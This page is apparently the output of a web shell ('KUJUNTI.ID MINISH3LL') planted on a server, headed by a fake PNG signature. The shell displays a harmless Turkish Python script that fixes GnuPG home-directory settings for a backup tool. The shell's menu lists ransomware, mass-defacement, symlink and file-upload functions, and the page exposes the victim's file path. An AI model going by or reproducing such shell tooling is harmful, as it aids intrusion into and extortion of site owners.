\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv5/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv5/fix_gpg_home_correct.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
YedekleDB24 için GPG anahtarı dizinini düzeltme scripti.
Bu script, GPG kütüphanesinin doğru dizini kullanmasını sağlayacak şekilde kodları günceller.
"""

import os
import fileinput
import re
import logging
import subprocess
from pathlib import Path

# Logging yapılandırması
logging.basicConfig(level=logging.INFO,
                   format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

def update_file(file_path):
    """
    Belirtilen dosyadaki GPG başlatma kodunu günceller.
    
    Args:
        file_path (str): Güncellenecek dosyanın yolu
    
    Returns:
        bool: Başarılı ise True, değilse False
    """
    try:
        # Dosya içeriğini oku
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
        
        # Eski kodu bul ve değiştir - gnupghome --> homedir parametresi olarak düzelt
        pattern = r"(\s+# GnuPG nesnesi.*?\n\s+)gpg = gnupg\.GPG\(gnupghome=gpg_home\)"
        replacement = r"\1gpg = gnupg.GPG(homedir=gpg_home)"
        
        # Değişiklikleri uygula
        new_content = re.sub(pattern, replacement, content, flags=re.DOTALL)
        
        # Değişiklik yapıldı mı kontrol et
        if new_content == content:
            # Alternatif değişikliği dene (eğer os.environ hala kullanılıyorsa)
            pattern = r"(\s+# GnuPG nesnesi.*?\n\s+)os\.environ\['GNUPGHOME'\] = gpg_home\n\s+gpg = gnupg\.GPG\(\)"
            replacement = r"\1gpg = gnupg.GPG(homedir=gpg_home)"
            
            # Değişiklikleri uygula
            new_content = re.sub(pattern, replacement, content, flags=re.DOTALL)
            
            # Hala değişiklik yapılmadıysa
            if new_content == content:
                logger.warning(f"Dosyada ({file_path}) değişiklik yapılmadı, eşleşme bulunamadı.")
                return False
        
        # Değişiklikleri kaydet
        with open(file_path, 'w', encoding='utf-8') as f:
            f.write(new_content)
        
        logger.info(f"Dosya başarıyla güncellendi: {file_path}")
        return True
        
    except Exception as e:
        logger.error(f"Dosya güncellenirken hata: {str(e)}")
        return False

def update_all_files():
    """
    Tüm ilgili dosyaları günceller.
    
    Returns:
        int: Güncellenen dosya sayısı
    """
    files_to_update = [
        'encryption_utils.py',
        'encryption_utils_simplified.py',
    ]
    
    updated_count = 0
    
    for file_path in files_to_update:
        if os.path.exists(file_path):
            if update_file(file_path):
                updated_count += 1
        else:
            logger.warning(f"Dosya bulunamadı: {file_path}")
    
    return updated_count

def create_and_test_gpg_home():
    """
    GPG dizinini oluşturur ve test eder.
    
    Returns:
        bool: Başarılı ise True, değilse False
    """
    try:
        # Çevre değişkeninden GPG_HOME_DIR'i al
        gpg_home_dir = os.environ.get('GPG_HOME_DIR')
        if not gpg_home_dir:
            logger.warning("GPG_HOME_DIR çevre değişkeni ayarlanmamış, varsayılan konum kullanılacak.")
            gpg_home_dir = os.path.dirname(os.path.abspath(__file__))
        
        # GPG anahtarları için dizin oluştur
        gpg_keys_dir = os.path.join(gpg_home_dir, 'gpg_keys')
        os.makedirs(gpg_keys_dir, exist_ok=True)
        
        # Yazma erişimi kontrolü
        test_file = os.path.join(gpg_keys_dir, 'test_write_access.txt')
        try:
            with open(test_file, 'w') as f:
                f.write('Test writing access')
            os.remove(test_file)
            logger.info(f"GPG dizinine yazma erişimi başarılı: {gpg_keys_dir}")
            return True
        except Exception as e:
            logger.error(f"GPG dizinine yazma erişimi yok: {str(e)}")
            return False
            
    except Exception as e:
        logger.error(f"GPG dizini oluşturulurken hata: {str(e)}")
        return False

def main():
    """Ana fonksiyon"""
    logger.info("GPG anahtarı dizini güncelleme işlemi başlatılıyor...")
    
    # GPG_HOME_DIR değişkenini kontrol et
    gpg_home_dir = os.environ.get('GPG_HOME_DIR')
    if not gpg_home_dir:
        logger.warning("GPG_HOME_DIR çevre değişkeni ayarlanmamış. "
                     "Lütfen .env dosyasında ayarlayın veya sisteme ekleyin.")
    else:
        logger.info(f"GPG anahtarları şu dizinde saklanacak: {gpg_home_dir}")
    
    # GPG dizinini oluştur ve test et
    if not create_and_test_gpg_home():
        logger.error("GPG dizini oluşturma ve test etme işlemi başarısız oldu.")
        return
    
    # Tüm dosyaları güncelle
    updated_count = update_all_files()
    
    logger.info(f"Toplam {updated_count} dosya güncellendi.")
    logger.info("GPG anahtarı dizini güncelleme işlemi tamamlandı.")
    
    # Uygulama yeniden başlatma talimatı
    logger.info("Güncellemelerin etkili olması için uygulamayı yeniden başlatın.")
    
if __name__ == "__main__":
    main()

© KUJUNTI.ID